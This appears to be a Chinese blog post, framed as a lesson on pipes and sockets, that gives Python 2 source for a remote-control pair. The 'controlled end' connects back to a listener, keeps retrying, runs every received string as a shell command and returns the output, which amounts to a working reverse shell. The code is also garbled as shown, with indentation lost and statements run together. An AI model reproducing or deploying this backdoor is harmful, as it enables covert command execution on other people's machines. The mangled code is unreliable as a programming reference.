1. 技术:管道通信,流文件处理,socket基础

2. Tips:

默认IP:127.0.0.1

默认端口:7676

3. 代码样例

服务端

#!/usr/bin/env python
# encoding: utf-8 import socket
import sys
from os import * reload(sys)
sys.setdefaultencoding("utf-8") def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s def socketDeal(s,HOST,PORT):
s.bind((HOST,PORT))
s.listen(1) def ControlModule(sS,addr):
recv_buffer = sS.recv(20048)
if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":
print recv_buffer
sys.exit(0)
else:
print recv_buffer
send_buf = raw_input(addr[0]+">")
sS.send(send_buf) def main():
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketDeal(s, HOST, PORT)
sS,addr = s.accept()
print "Connect from " + addr[0] + ":" + repr(addr[1])
try:
while True:
ControlModule(sS,addr)
except Exception as e:
print "[-]Connect Error"
sS.close()
s.close()
sys.exit(-1)
except KeyboardInterrupt:
sS.close()
s.close()
sys.exit(0) if __name__ == '__main__':
main()

受控端:

#!/usr/bin/env python
# encoding: utf-8 import socket
import sys
import re
import traceback
import tempfile
from os import *
from subprocess import * reload(sys)
sys.setdefaultencoding("utf-8") def socketInit():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
return s def socketConn(s,HOST,PORT):
while True:
try:
s.connect((HOST,PORT))
except Exception as e:
continue
else:
s.send("Welcome Sir ~")
break def String_Deal(recv,send):
P_str = re.findall("cd(.*)|(\w):", recv)
if P_str!=[] and send == "":
if P_str[0][0]!="":
try:
chdir(P_str[0][0].strip())
except Exception as e:
flag = -1
else:
flag = 1
else:
try:
chdir(recv)
except Exception as e:
#traceback.print_exc()
flag = -1
else:
flag = 1
else:
if send == "":
flag = 1
else:
flag = 0
return flag def OpenProcess(s):
try:
while True:
recv_buf = s.recv(2048)
#流文件技术,防止管道阻塞
out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)
fileNo = out_temp.fileno()
cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)
cmd.wait()
out_temp.seek(0)
send_buf = out_temp.read()
#print len(send_buf)
#输入命令字符串处理识别
flag = String_Deal(recv_buf,send_buf)
if flag == 1:
s.send("OK")
elif flag == -1:
s.send("Error!!")
else:
s.send(send_buf)
send_buf = ""
except Exception as e:
try:
s.send("[-]Error:Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(-1)
except KeyboardInterrupt:
try:
s.send("[*]Server is OFF")
except Exception as e:
pass
s.close()
sys.exit(0)
def main():
flag = 0
HOST = "127.0.0.1"
PORT = 7676
s = socketInit()
socketConn(s, HOST, PORT)
OpenProcess(s) if __name__ == '__main__':
main()

最新文章

  1. 深入java集合学习1-集合框架浅析
  2. HDU 3333 | Codeforces 703D 树状数组、离散化
  3. 开发基于Edge渲染内核的浏览器应用
  4. Spark Programming--WordCount
  5. golang:interface{}类型测试
  6. 计划:怎样理解水平集方法 ITK Level set V4 框架介绍
  7. jpcap 配置方法,问题解决,模拟sniffer程序。(附JAVA程序,jar,dll包等环境)
  8. iOS便捷开发工具分享
  9. 微控制器(MCU)架构介绍
  10. C++库研究笔记——Linux下是否需要使用memory pool?
  11. 关于FND_PROFILE与FND_GLOBLE[Z]
  12. Shell中$X的含义
  13. LeetCode之“数组”:Rotate Array
  14. js反爬-从入门到精通webdriver
  15. 前端接口自动化测试工具-DOClever使用介绍(转载)
  16. SWPU-ACM集训队周赛之组队赛(3-11) C题题解
  17. 阿里云日志服务采集自建Kubernetes日志(标准输出日志)
  18. LintCode——交叉字符串
  19. iPhone 配置使用工具
  20. CentOS 报错cannot execute binary file

热门文章

  1. 一个 java 文件的执行过程详解
  2. Java 虚拟机详解
  3. 面试准备——计算机网络(https)
  4. windows基线检测脚本编写指南-powershell版
  5. jdk8的安装与环境搭建
  6. C# 应用 - 使用 HttpWebRequest 发起 Http 请求
  7. 2019 GDUT Rating Contest I : Problem H. Mixing Milk
  8. ajax传数组后台GO语言接收
  9. Python读写配置文件模块--Configobj
  10. vue 给一个值重置初始值